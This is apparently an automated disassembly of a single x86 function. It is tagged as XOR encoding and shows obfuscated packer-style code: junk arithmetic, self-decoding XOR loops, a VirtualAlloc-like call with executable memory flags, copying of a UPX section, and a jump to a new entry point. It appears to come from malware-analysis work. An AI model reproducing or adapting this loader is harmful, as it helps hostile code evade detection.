Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb9d15cd1
add eax, 0xb5732ddd
sub eax, edx
popal
mov edx, eax
and edx, edx
mov edx, 0
mov ebx, ecx
add eax, 0x13e4df09
sub esi, eax
mov edi, ebx
add eax, 1
sub esi, eax
sub esi, eax
mov ecx, edi
add esi, 1
mov eax, 0x885e0397
inc eax
add edx, 1
sub esi, 0xc5bda6a3
and eax, esi
sub eax, esi
cmp edx, 0x10019bc
jne 0x47b44c
and eax, eax
sub esi, eax
sub eax, 1
mov eax, 0x8547aa09
mov ebx, 0x47b21e
or edx, eax
add eax, eax
mov edi, 0x47b412
and eax, eax
mov edx, esi
add edx, 1
mov ecx, dword [ebx]
inc eax
mov eax, 0xdf19b47d
or edx, eax
and ecx, 0xff
sub eax, 0x6737789
add esi, 1
xor dword [edi], ecx
sub edx, 1
dec edx
mov eax, esi
inc edi
and eax, esi
mov eax, edx
inc ebx
add esi, 0x79771100
and esi, edx
dec esi
cmp edi, entry0
jl 0x47b4b3
or eax, eax
mov eax, esi
sub edx, 1
and eax, esi
mov eax, 0xc80e1088
mov ebx, 0x7e71b923
add ebx, ecx
mov edi, 0x47b416
inc esi
not ecx
mov ecx, 0xfb06eebb
mov edi, dword [edi]
sub ecx, 0xb18b9986
dec ecx
mov ecx, 0x6d116468
mov edi, dword [edi]
add ecx, 1
add esi, 0x7f9dcba5
or ebx, esi
push edi
add esi, ecx
mov esi, 0xc9f56748
add ebx, 1
mov edi, 0x47b412
add esi, 0x740a631e
mov ecx, esi
sub esi, edx
mov edi, dword [edi]
sub edx, ebx
not ebx
mov edi, dword [edi]
and esi, ebx
add ecx, 0x788c7d1e
mov ecx, edx
push 0x47b41a
or esi, esi
inc edx
add edx, 0x40b690c8
call edi
dec edx
add edx, ecx
sub ebx, 1
pop edi
mov edx, esi
dec edx
sub esp, 4
mov dword [esp], 0x47b427
mov edx, ebx
inc edx
mov esi, 0x3a598711
sub esp, 4
mov dword [esp], eax
inc esi
add ecx, esi
mov ecx, 0xee660fd9
call edi
not esi
add edx, 0x19098295
or ebx, ebx
sub esp, 4
mov dword [esp], 0x40
or esi, edx
dec ecx
sub esp, 4
mov dword [esp], 0x3000
add edx, ecx
mov ebx, edx
push 0x2000044e
sub ebx, 0x6a958036
or ebx, esi
push 0
mov esi, 0x9221a7f8
inc ebx
add edx, 0x70ec203
call eax
dec edx
add ecx, 0x474c39ad
add eax, 0x200003aa
mov edx, ebx
add esi, esi
not ecx
mov edi, 0xb7a73c03
not ebx
sub esi, ecx
mov dword [eax], edi
not esi
dec esi
mov edi, dword [eax]
dec ebx
add esi, edx
add ecx, edx
cmp edi, 0xb7a73c03
je 0x47b622
mov edx, 0
mov bl, byte [edx]
mov ecx, 0x5a465ca2
sub edx, ebx
add edx, 1
and edx, ebx
or esi, ecx
inc eax
not edx
mov edi, section.UPX1
add edx, edx
sub edx, eax
mov esi, 0x47b21d
add edx, 0x168076b2
and edx, eax
mov ecx, 0
or eax, edx
mov eax, edx
dec eax
mov ebx, 0x47b21e
add edx, 0xe052854
mov edx, eax
lea ebx, [ebx + ecx]
add edx, 0x67f3d81b
or eax, eax
mov ebx, dword [ebx]
sub eax, edx
not edx
and edx, edx
and ebx, 0xff
and edx, eax
add eax, 0x985e36e2
add eax, 0xeb5bc541
add ecx, 1
mov edx, eax
sub eax, edx
dec edx
cmp ecx, 0x1f4
jne 0x47b6a2
mov ecx, 0
or eax, edx
not edx
inc eax
sub edx, 0xd4623ecc
add edx, 0xaf0557e4
mov eax, edx
xor dword [edi], ebx
and edx, edx
inc edx
add eax, 0x8b93add0
add edi, 2
mov edx, 0x8c2dc23e
and edx, eax
mov eax, edx
cmp edi, esi
jl 0x47b656
mov edx, 0xfad590a5
and edx, edx
and eax, edx
not edx
mov esi, section.UPX1
inc ecx
add edx, 0x943a2529
sub ecx, 0x1babb35a
mov ebx, section.UPX1
and ecx, ecx
not ecx
sub edx, ecx
mov edi, 0x47b21d
not edx
add edx, 0x3b3d4152
not ecx
mov eax, 0
sub edx, ecx
mov ecx, edx
mov al, byte [ebx]
or ecx, ecx
mov edx, 0xa4e5e97b
mov byte [esi], al
not edx
add edx, 0x5cd2cb3d
mov ecx, edx
inc esi
and ecx, ecx
mov ecx, 0xa42d353d
and edx, ecx
add ebx, 2
and ecx, edx
mov ecx, edx
mov edx, 0x49673674
cmp ebx, edi
jle 0x47b717
add edx, ecx
dec ecx
and eax, eax
not edx
sub esp, 4
mov dword [esp], 0x45e6a0
add eax, 0x8a01d1ce
add edx, 0xdfbd007d
ret